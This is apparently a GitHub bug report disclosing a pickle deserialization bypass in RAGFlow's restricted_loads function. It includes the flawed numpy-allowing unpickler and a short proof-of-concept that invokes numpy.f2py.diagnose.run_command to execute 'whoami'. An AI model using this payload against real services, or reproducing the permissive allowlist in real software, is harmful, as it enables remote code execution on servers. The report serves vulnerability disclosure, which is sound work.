[Bug]: The restricted_loads function is still vulnerable through pickle deserialization with numpy module

[William957-web]

Is there an existing issue for the same bug?

• I have checked the existing issues.

Branch name

main

Commit ID

fd7fcb5

Other environment information

No response

Actual behavior

The restricted_loads function at api/utils/init.py#L215 is still vulnerable leading via code execution.
The main reson is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.

Expected behavior

No response

Steps to reproduce

ragflow_patch.py

import builtins
import io
import pickle

safe_module = {
    'numpy',
    'rag_flow'
}


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        import importlib
        if module.split('.')[0] in safe_module:
            _module = importlib.import_module(module)
            return getattr(_module, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


def restricted_loads(src):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(src)).load()

Then, PoC.py

import pickle
from ragflow_patch import restricted_loads
class Exploit:
     def __reduce__(self):
         import numpy.f2py.diagnose
         return numpy.f2py.diagnose.run_command, ('whoami', )

Payload=pickle.dumps(Exploit())
restricted_loads(Payload)

Result

Additional information

How to prevent?

Strictly filter the module and name before calling with getattr